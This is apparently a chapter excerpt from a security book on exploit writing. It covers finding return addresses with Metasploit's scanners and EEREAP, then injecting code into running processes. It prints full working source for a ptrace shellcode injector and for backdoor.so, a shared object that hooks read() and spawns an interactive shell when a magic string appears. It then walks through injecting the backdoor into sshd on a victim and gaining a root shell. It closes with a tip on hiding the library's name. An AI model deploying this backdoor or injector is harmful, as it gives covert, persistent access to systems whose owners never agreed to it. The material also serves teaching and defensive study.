When writing an exploit, there is a key concern for all who try: when a return address or function pointer can be overwritten, what value should we put inside? The goal is usually to execute a payload (i.e., the shellcode). The shellcode is usually injected inside the process memory using a program input, such as a login or an environment variable. But its exact location generally cannot be known in advance, so executing the payload is not that simple. We need to find an address we know in advance that we can jump to, so that our payload will be executed.
This seems like wizardry at first, but the trick relies on the fact that the shellcode has been injected somewhere—thus, the process knows this location (i.e., there is a register, a memory location, or a combination of them that points to the payload). If we can find a fixed address inside the process' memory that holds code that jumps to this precise location, then we have the address we are looking for. For instance, if our payload is still pointed to by the EDI register, we need a fixed address that holds a call edi
, jmp edi
, or push edi/ret
statement or something equivalent.
Sometimes the only thing you can overwrite is not a function pointer, but a pointer on a function pointer, or a pointer on a structure that holds a pointer to a function pointer. Finding a value for that becomes a bit more complicated. Another challenge is to find many suitable addresses on many platforms and look for addresses common to most of them to make an exploit that works against many different targets.
On Windows platforms, you may be able to overwrite a Structured Exception Handler (SEH) function pointer. But in this very specific case, if you succeed in triggering an exception by messing up the stack, the SEH function that will be called will overwrite this very address. The problem here is the same. Which target address should we choose when we do not know the address of the buffer that we overflowed? What is interesting here is that the SEH function pointer is part of a structure whose address is passed as a parameter to the SEH function. Thus, when the SEH function is executed, the third argument in the stack is the address of the SEH structure, which we just overwrote. To circumnavigate this, point the SEH function pointer to a simple pop/pop/ret
, somewhere at a fixed place, and it will jump to instructions at the beginning of the overwritten SEH structure.
msfelfscan and msfpescan are two simple Metasploit tools that can go through a PE or an ELF binary and find suitable return addresses; we just have to provide them with the flawed program and the kind of code we are looking for. We can choose between some code that jumps to the address hold by a given register (jmp
register
, call
register
, or pop
register
/ret
), and code that does a pop/pop/ret
. These are the two most common cases. But if we need something more complex, we can provide a regular expression, which is significantly less straightforward to use.
For instance, let's assume that our shellcode has been injected at a location pointed by the EDI register at exploitation time. The location will change from one run to another, depending on initial memory zone locations (some kernels randomize it deliberately) and the history of the process. But the binaries are usually not compiled as position-independent code, so they must always be loaded at the same address, and we can rely on interesting instructions to be at fixed addresses. Here we need some code that will jump for us to our payload; i.e., to the address present in the EDI register:
$ msfelfscan -f /bin/bash -j edi 0x080698fd jmp edi 0x0806c6c1 jmp edi 0x0805182b call edi 0x08072b5f call edi 0x08086ff0 call edi 0x08087872 call edi 0x08087c4e call edi 0x080aeff8 call edi
msfelfscan found eight addresses that hold an instruction that will jump to the data pointed by edi
. Just one would be sufficient. If we want to write an exploit working on many different versions of the program, a simple method is to look for one of these addresses that is common to all the targeted versions.
On Windows systems, the dynamic libraries are also loaded at fixed addresses, thus it is interesting to include them in the search. To do so, we have to work on a memory image of the whole process that will include its libraries. The memory image will be created from the running process with the memdump.exe program included in the Metasploit Framework. We would then point to the dump file by using msfpescan's -d
option (instead of -f
).
If jmp
, call
, and pop/pop/ret
are not the instructions you are looking for, you will have to use a regular expression (regex) to describe your need. For instance, if your payload is in a buffer whose address is pointed to by the first argument of the current function, you will need a call [ebp+0xc]
or a jmp [ebp+0xc]
. This is where the tool is not very convenient: you have to find the opcodes of those instructions to build the regex. In this case, you can use nasm with this file:
BITS 32 call [ebp+0xc] jmp [ebp+0xc]
Then assemble it:
$ nasm -o /dev/null -l /dev/stdout /tmp/myopcodes.nasm 1 BITS 32 2 00000000 FF550C call [ebp+0xc] 3 00000003 FF650C jmp [ebp+0xc]
Here we see that a possible regex would be \xff[\x55\x65]\x0c
:
$ ./msfelfscan -f /bin/bash -x '\xff[\x55\x65]\x0c' 0x08087d83 ff550c 0x0808ac43 ff550c 0x0808d7b7 ff550c 0x0809472e ff550c 0x080947a3 ff550c 0x080995f9 ff550c 0x080b6f2a ff550c
Metasploit's tools are quite nice to use for simple cases, but they will only find obvious solutions. For more complex problems, you will need to use the generic but inconvenient regex option.
EEREAP stands for eEye Emulating Return Address Purveyor. This utility explores the snapshot of a running process and looks for potential return addresses. A good return address is an address that, when jumped to, will bring the program counter (EIP) to our payload. It works only on Windows.
EEREAP has a different approach than most other tools that try to do the same job. Most other tools require input in the form of explicit possible solutions to your problem; however, EEREAP requires a description of the process' context at exploitation time, and an indication of where you want the program counter to go. Context is described by giving the values of known registers, the relationship between pointers and pointees, the read-only memory zones, etc. In other words, the way you give EEREAP a problem to solve is declarative. You do not have to imagine what a solution looks like. That is a great advantage over some of the simpler tools such as msfpescan that need you to construct a solution set and ask the tool to find something inside the set.
You can also express some constraints on the return address, such as asking for it to be ASCII only, or pointing to a read-only zone. EEREAP will then brute-force all possible return addresses and emulate code at this address using the pieces of context that were specified. Nondeterminism is handled. For instance, if the flags' state is not known at a given point, a conditional jump could be either taken or not. Both paths will be followed. If both lead to the target, the solution will be accepted; if one fails, the address will be discarded. The same happens for operations on registers. If a write access is done on a register whose value is neither determined in the context nor imposed by previously simulated code, the address will be discarded. Thus, the more precise the context is, the more numerous the solutions will be.
The EEREAP syntax is a bit cryptic:
name
:size
[,keyword
][keyword
...]
keyword
can be ro
or rw
to indicate the rights enforced on this memory zone, and target
to flag the memory zone we want EIP to reach. Use name
=
expression
to constrain the value of a register or the address of a memory zone. expression
can use other defined memory zones or registers. [
name
]=
expression
indicates the value of a memory zone. But enough theory—let's practice.
First, let's create a read/write memory zone to model the stack: my_stack:1000h,rw
. Then we have to make ESP
point into it so that push
, pop
, and read/write operations indexed by ESP
will be considered valid: esp=my_stack+500h
. Now we will define the memory zone holding our shellcode: my_shellcode:64,ro,target
. The target
keyword will flag the dest
memory zone as being the goal to be reached by EIP. The ro
keyword will make EEREAP discard any piece of code that would overwrite our shellcode. Last but not least, we will indicate that the EDI register points to our shellcode: edi=my_shellcode
.
The final configuration file is:
my_stack:1000h,rw esp=my_stack+500h my_shellcode:64,ro entry @my_shellcode: edi=my_shellcode
Given this context, EEREAP will force every possible address and find any piece of code that will reach our shellcode without overwriting it or making accesses to undefined memory zones. This includes call edi
, jmp edi
, or push edi/ret
, but it also includes addresses right before that do nothing harmful before the jump. Finally, it includes more improbable solutions that no human being could have thought of. The solution set is supposed to be as exhaustive as possible.
The method to use EEREAP is simple. We have to work on a snapshot of the process. The snapshot must be taken when the process is in the state we expect it to be in at exploitation time. For instance, the process must have finished its initialization. We will use psnap.exe, which is included with the EEREAP package.
::==-===-=====-======-=====-===-==:: psnap v0.8 Process Snapshooter (C) 2005 eEye Digital Security Part of the EEREAP Project Last updated: June 23, 2005 ::==-===-=====-======-=====-===-==:: Usage: psnap [[<flag> [...]] <pid> [<outputfile>]] Where: <flag> specifies whether to snapshot a type of memory region, and/or how to freeze a process (see below) <pid> is the Process ID of the process to snapshot <outputfile> is the name of the process snapshot file to create If no arguments are supplied, a list of processes is displayed. <outputfile> can be omitted to profile a process's address space. Flags: -<type>:{W|I|R} where W snapshots a memory region, I ignore it (marks as a noncommitted, empty region), and R records the region's address range but omits its contents; <type> is one of the following: a - committed regions h - heap memory m - non-module mappings s - thread stacks i - executable modules t - Thread Information Blocks r - read-only memory p - Process Environment Block w - writable memory c - module code sections x - executable memory d - module data sections Additionally, <type> can be a hexadecimal region base address, an address range consisting of two comma-separated hexadecimal numbers, or the file name of an executable module. --debug uses debugging API to ask CSRSS to suspend the process; will try to detach on XP and later --priority boosts psnap's priority as high as possible --none does not suspend target process --suspend attempts to suspend all process threads Default settings are "-a:w --none".
Without arguments, it will list all running processes, so we can choose our target here: notepad.exe.
C:\eereap>psnap ::==-===-=====-======-=====-===-==:: psnap v0.8 Process Snapshooter (C) 2005 eEye Digital Security Part of the EEREAP Project Last updated: June 23, 2005 ::==-===-=====-======-=====-===-==:: 4 (0x0004) System 236 (0x00EC) smss.exe <\SystemRoot\System32\smss.exe> 408 (0x0198) iexplore.exe <"C:\Program Files\Internet Explorer\iexplore.exe" > [...] 3852 (0x0F0C) notepad.exe <"C:\WINDOWS\system32\NOTEPAD.EXE" > 3988 (0x0F94) cmd.exe <"C:\WINDOWS\system32\cmd.exe" > [...] C:\eereap>psnap 3852 notepad.snap
Now we can work on the snapshot. Our configuration is in the config.txt file:
C:\eereap>eereap.exe notepad.snap @config.txt ::=-==-===-=====-==========-=====-===-==-=:: EEREAP v0.81 eereap@eeye.com eEye Emulating Return Address Purveyor (C)2005-2006 eEye Digital Security Last updated: October 30, 2006 ::=-==-===-=====-==========-=====-===-==-=:: 001B71EE 001B71EF 001B7A23 0022C6F0 0022C714 0022CAE0 0022CB04 00231CB0 00235C10 00248BE8 0028066C 00280CF0 003D59A1 003D6991 [...] 010047DE 010047E1 010047E2 010047E3 010047E8 [...]
Some addresses come from loaded libraries. On Windows, they are always loaded at the same place, so it makes sense to include them in the search. Addresses at 0x01004
xxx
come from the notepad.exe file. Let's look at some solutions in this extract from the real code dump of notepad.exe:
10047d9: e8 84 d4 ff ff call 0x1001c62 10047de: 8d 45 94 lea eax,[ebp-108] 10047e1: 50 push eax 10047e2: ff 35 14 98 00 01 push DWORD PTR ds:0x1009814 10047e8: ff d7 call edi
Any of these addresses except 0x10047d9
are obviously solutions. But if we jump in the middle of an instruction, it may still mean something. Let's try to disassemble at every address from 0x010047de
to 0x010047e7
.
The first one loads an address into EAX
, pushes it on the stack, and then pushes the double word at address 0x01009814
. It finishes with a direct call to the address held by EDI
. The first instruction manipulates registers only. As stack operations are allowed within the my_stack memory zone, the second instruction is considered sane. Address 0x01009814
is inside the mapped memory and can be read, so that the third instruction is also sane. This can be considered as a solution:
010047DE 8D4594 lea eax,[ebp-0x6c] 010047E1 50 push eax 010047E2 FF3514980001 push dword [0x1009814] 010047E8 FFD7 call edi
The two following examples exchange the content of ESP
with EAX
, and then perform a stack operation. This is very likely to crash. They are not solutions.
010047DF 45 inc ebp 010047E0 94 xchg eax,esp 010047E1 50 push eax 010047E2 FF3514980001 push dword [0x1009814] 010047E8 FFD7 call edi 010047E0 94 xchg eax,esp 010047E1 50 push eax 010047E2 FF3514980001 push dword [0x1009814] 010047E8 FFD7 call edi
These two are subsets of a previous solution and they are obviously OK, too:
010047E1 50 push eax 010047E2 FF3514980001 push dword [0x1009814] 010047E8 FFD7 call edi 010047E2 FF3514980001 push dword [0x1009814] 010047E8 FFD7 call edi
This one begins in the middle of an instruction so that it means something else. But it still ends with the call to EDI
, and the new instruction is safe:
010047E3 3514980001 xor eax,0x1009814 010047E8 FFD7 call edi
On the other hand, if we keep on incrementing the address, even if we still get the call to EDI
, we get unsafe instructions that write to memory pointed at by ECX
while its value is undetermined:
010047E4 1498 adc al,0x98 010047E6 0001 add [ecx],al 010047E8 FFD7 call edi 010047E5 98 cwde 010047E6 0001 add [ecx],al 010047E8 FFD7 call edi 010047E6 0001 add [ecx],al 010047E8 FFD7 call edi
This one will not even execute a call:
010047E7 01FF add edi,edi 010047E9 D7 xlatb
Last but not least, we have the solution that msfpescan would have found:
010047E8 FFD7 call edi
Having many candidates increases the chances of finding a common address across multiple platforms and thus the ability to write more generic exploits. It is also helpful if we are restricted by the character set to use for the address overwrite.
That leads us to the /RANGESET
and /CHARSET
parameters, which add conditions on the acceptable addresses. The /RANGESET
parameter restricts candidate return addresses to the specified range(s), while the /CHARSET
parameter restricts one or all bytes of the return address to the specified character set. The options for these parameters, as well as the complete grammar of a configuration file, are explained in the EEREAP usage message shown here:
>eereap.exe ::=-==-===-=====-==========-=====-===-==-=:: EEREAP v0.81 eereap@eeye.com eEye Emulating Return Address Purveyor (C)2005-2006 eEye Digital Security Last updated: October 30, 2006 ::=-==-===-=====-==========-=====-===-==-=:: Usage: EEREAP <snapshot> {<configline> | @<configfile>} [...] Where: <snapshot> is an EEREAP PSNAP-format process address space snapshot file that denotes virtual memory regions and their contents <configline> is a configuration setting for the emulation context <configfile> is a text file containing configuration settings Valid configuration settings are as follows: reg = value -- sets the value of a 32-bit register EFLAGS = int -- sets the value of EFLAGS [ptr] = value -- sets the contents of memory to a 32-bit value address_space [= int] [@ ptr] : size [, attr [...]] -- declares an abstract address space /LAZY:reg -- sets up an otherwise-default context with target at reg /RANGEADD:{start..end | [{R|W}][{C|D}][{I|P}] | * } [, ...] -- includes the given range(s) as candidate return addresses /RANGESET:{start..end | [{R|W}][{C|D}][{I|P}] | * } [, ...] -- restricts candidate return addresses to these range(s) /CHARSET[{0|1|2|3}]: {start[..end] | NONULL | ASCII | ALPHA | ALPHALOWER | ALPHAUPPER | ALPHANUM | ALPHANUMLOWER | ALPHANUMUPPER | HEX | HEXLOWER | HEXUPPER | BASE64} [, ...] -- restricts one or all bytes of return address to char set The identifiers in lowercase are defined as follows: reg := {EAX | ECX | EDX | EBX | ESP | EBP | ESI | EDI} int := decimal (e.g., 7890), binary (e.g., 01101b), or hexadecimal (e.g., 0BA98CDEFh) integer, in which a hex or binary digit may have its bits denoted as undefined by substituting an X address_space := a non-reserved name, beginning with a letter and containing only letters, numbers, and underscores, that identifies an abstract address space uniquely offset := fully-defined int (no X digits) ptr := {int | address_space [{+ | -} offset]} value := {int | ptr} size := fully-defined int attr := {RO | RW | TARGET} start := fully-defined int end := fully-defined int
Also note that each line of a configuration file can also be passed as an argument, so you do not need to create a file for simple searches. You can also mix both configuration file and command-line parameters to refine some searches without modifying the configuration file or adding new constraints.
Shellcodes are not used only for remote exploitation; for example, they can be of great help to tweak a running process or to steal resources such as file descriptors, handles, rights, etc. In these cases, we do not need a vulnerability in our target to redirect the execution flaw because we already have control over it.
On Unix systems, injection can be achieved by the Ptrace debugging feature. The method is quite simple: the injector attaches to the running process, injects the payload, and changes registers so that control is transferred to it. Once the payload has gained control, it can do its job and then either clean up itself or return to the injector to clean up.
Example 10-6 lists the source of the SIringe shellcode injector. It injects a shellcode into a process' stack and simulates a call to it. If the shellcode restores all the registers and returns as a normal function, the control will go back to where the process has been stopped, and it will keep on doing its job without noticing a parasite has executed inside its own address space.
Example 10-6. SIringe sourcecode
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ptrace.h> #include <sys/user.h> #include <sys/wait.h> #include <unistd.h> #define __KERNEL_ _ /* macros ERESTART... */ #include <linux/errno.h> #undef __KERNEL_ _ /* $Id$ */ #define STACKSIZE 512 #define ERROR(msg) do{ perror(msg); exit(-1); }while(0) #define USAGE do { fprintf(stderr, "Usage: siringe [-f <shellcode] -p <pid>\n"); exit( -2); }while(0) int main(int argc, char *argv[]) { int res, i, pid=0, shlen; long start, old_eip; struct user_regs_struct regs; char shcode[32768]; int fd = 1; char c; while (1) { c = getopt(argc, argv, "p:f:"); if (c == −1) break; switch (c) { case 'p': pid = atoi(optarg); break; case 'f': fd = open(optarg, O_RDONLY); if (fd == −1) ERROR("open"); break; } } if (!pid) USAGE; shlen = read(fd, shcode, sizeof(shcode)); if (!shlen) USAGE; /**** let's attach ****/ res = ptrace(PTRACE_ATTACH, pid, NULL, NULL); if (res == −1) ERROR("ptrace attach"); res = waitpid(pid, NULL, WUNTRACED); if (res != pid) ERROR("waitpid"); /**** We gather the registers ****/ res = ptrace(PTRACE_GETREGS, pid, NULL, ®s); if (res == −1) ERROR("ptrace getregs"); /**** We inject the code ****/ start = regs.esp-STACKSIZE-shlen; for (i=0; i < shlen; i+=4) { res = ptrace(PTRACE_POKEDATA, pid, start+i, *(int *)(shcode+i)); if (res == −1) ERROR("ptrace pokedata"); } /**** We hijack the execution flow ****/ old_eip = regs.eip; regs.eip = start; if ( (regs.orig_eax >= 0) && (regs.eax == -ERESTARTNOHAND || regs.eax == -ERESTARTSYS || regs.eax == -ERESTARTNOINTR) ) { regs.eip += 2; old_eip -= 2; } /**** We simulate a call (push eip) ****/ regs.esp -= 4; res = ptrace(PTRACE_POKEDATA, pid, regs.esp, old_eip); if (res == −1) ERROR("ptrace pokedata old_eip"); /**** We update the registers ****/ res = ptrace(PTRACE_SETREGS, pid, NULL, ®s); if (res == −1) ERROR("ptrace setregs"); /**** We detach and begin to run ****/ res = ptrace(PTRACE_DETACH, pid, NULL, NULL); if (res == −1) ERROR("ptrace detach"); return 0; }
The injected shellcodes must respect their hosts invisibility reasons first but we also may need them later. Thus, they have to save and restore registers and not trash the host's process memory. As a simple example of this, let's use a hello world shellcode.
#define STR "Hello world!\n" int main(void) { __asm_ _("pusha"); write(1, STR, sizeof(STR)); __asm_ _("popa"); }
It can be compiled with ShellForge into the following assembly code:
00000000 55 push ebp 00000001 89E5 mov ebp,esp 00000003 53 push ebx 00000004 50 push eax 00000005 E800000000 call 0xa 0000000A 5B pop ebx 0000000B 81C3F6FFFFFF add ebx,0xfffffff6 00000011 83E4F0 and esp,byte -0x10 00000014 83EC10 sub esp,byte +0x10 00000017 60 pusha 00000018 8D8B37000000 lea ecx,[ebx+0x37] 0000001E B804000000 mov eax,0x4 00000023 BA0E000000 mov edx,0xd 00000028 53 push ebx 00000029 BB01000000 mov ebx,0x1 0000002E CD80 int 0x80 00000030 5B pop ebx 00000031 61 popa 00000032 8B5DFC mov ebx,[ebp-0x4] 00000035 C9 leave 00000036 C3 ret 00000037 Hello world!
We can then inject it into any process and control its actions for the time the shellcode is running:
$ ./siringe -f /tmp/helloworld.egg -p 'pidof cat'
Here is the result on the cat
process:
$ cat Repeat after me: test before! Repeat after me: test before! Hello world! Repeat after me: test after! Repeat after me: test after!
Uses of this technique are countless; for example, swapping the TTY of two processes, parasitizing a function, stealing a file descriptor, and many others.
A more elaborate kind of code injection can be achieved with InjectSO, a small program that enables you to inject a whole shared object into the memory space of another process and hijack dynamically linked functions. The great advantage over raw shellcode injection is that you have only to build a shared object that will be dynamically linked and thus can use external functions—for instance, from libc. But this will obviously work only on dynamically linked processes, and dynamically linked functions only can be intercepted.
InjectSO is quite old now. It will not compile as is with recent GCC, nor will it work on systems using a recent dynamic linker.
The shared object you have to build must provide a NULL-finished array of pointers to SIntercept
structures named pptInterceptFuncs
. An SIntercept
structure is described in Table 10-2 and is defined as follows:
typedef struct _SIntercept { char *sFuncName; void *pvNewFunc; void *pvRelAddr; void **ppvOldAddr; int iFlags; } SIntercept;
Table 10-2. Description of members of SIntercept struct
Member | Description |
---|---|
| Name of the function to intercept. |
| Pointer to the intercepting function. |
| Storage for internal use. Leave NULL. |
| If you need to call the intercepted function back, declare a pointer to it and make this field point to it. Else, leave NULL. |
| Not used yet. Leave NULL. |
The intercepting function will be called in place of the intercepted function. Calls to the intercepted functions must be wrapped by calls to intercept_fix_unresolved( )
and intercept_override( )
.
Example 10-7 lists a very vicious backdoor. This shared object will intercept any call to the read( )
function to look for a magic string in any read buffer. If the magic string is present, the shared object will copy the current file descriptor to STDIN, STDOUT, and STDERR, and execute /bin/sh. There is one subtlety: some programs read buffers one byte by one byte, so we need a way to scan a fragmented stream. The solution is to approximate, because the function could be called on different streams, but we assume that all fragments from our magic string will not be mixed with other streams.
Example 10-7. backdoor.so, a shared object backdoor
#include <intercept.h> #include <unistd.h> #define MAGIC "P0WERT00LS" #define MAGICLEN 10 ssize_t (*real_read)( int fd, void * buf, size_t count ); ssize_t my_read( int fd, void * buf, size_t count ); SIntercept tReadIntercept = { "read", &my_read, 0x0, (void **)&real_read, 0x0 }; SIntercept * pptInterceptFuncs[] = { &tReadIntercept, 0x0 }; static int state; ssize_t my_read( int fd, void * buf, size_t count ) { ssize_t ret; int i; intercept_fix_unresolved(&tReadIntercept); ret = (*real_read)(fd, buf, count); intercept_override(&tReadIntercept); i = 0; while ( (i < ret) && (state < MAGICLEN) && (((char *)buf)[i] == MAGIC[state]) ) { i++; state++; } if (state == MAGICLEN) { dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","/bin/sh", "-i", 0); } if (i != ret) state = 0; return ret; }
To compile it, we need intercept.h and intercept.o files from InjectSO package:
$ gcc -shared -fPIC -I. -nostdlib -o backdoor.so backdoor.c intercept.o
Now we have a backdoor.so file. We can inject it in any program we want. It will then behave as usual, except that if the magic string ever comes to be read on a file descriptor, the process will be changed into a shell. We have to inject it into our target process on the victim host:
victim:˜# ./injectso -c -p 'pidof sshd' backdoor.so
Now the attacker can quit the machine and come back whenever he wants. In the meantime, legitimate users can use the machine normally:
legitimate:˜$ ssh victim echo "SSH is working" Password: **** SSH is working
SSH daemon seems to work as usual, but, as shown in the following:
attacker:˜$ telnet victim 22 Trying 192.168.128.10... Connected to 192.168.128.10. Escape character is '^]'. SSH-2.0-OpenSSH_3.8.1p1 Debian-8.sarge.4 P0WERT00LS sh-3.00#
the box is backdoored.
This trick will remain unnoticed unless we look at mapped libraries in SSH memory space:
victim:˜# cat /proc/'pidof sshd'/maps 08048000-0808d000 r-xp 00000000 08:01 108219 /usr/sbin/sshd 0808d000-0808f000 rw-p 00044000 08:01 108219 /usr/sbin/sshd 0808f000-080b4000 rw-p 0808f000 00:00 0 b7d07000-b7d10000 r-xp 00000000 08:01 91625 /lib/tls/libnss_files-2.3.2.so b7d10000-b7d11000 rw-p 00008000 08:01 91625 /lib/tls/libnss_files-2.3.2.so [...] b7fe6000-b7fe8000 r-xp 00000000 08:01 31598 /root/backdoor.so b7fe8000-b7fe9000 rw-p 00001000 08:01 31598 /root/backdoor.so b7fe9000-b7fea000 rw-p b7fe9000 00:00 0
Next time, let's choose a more discreet name.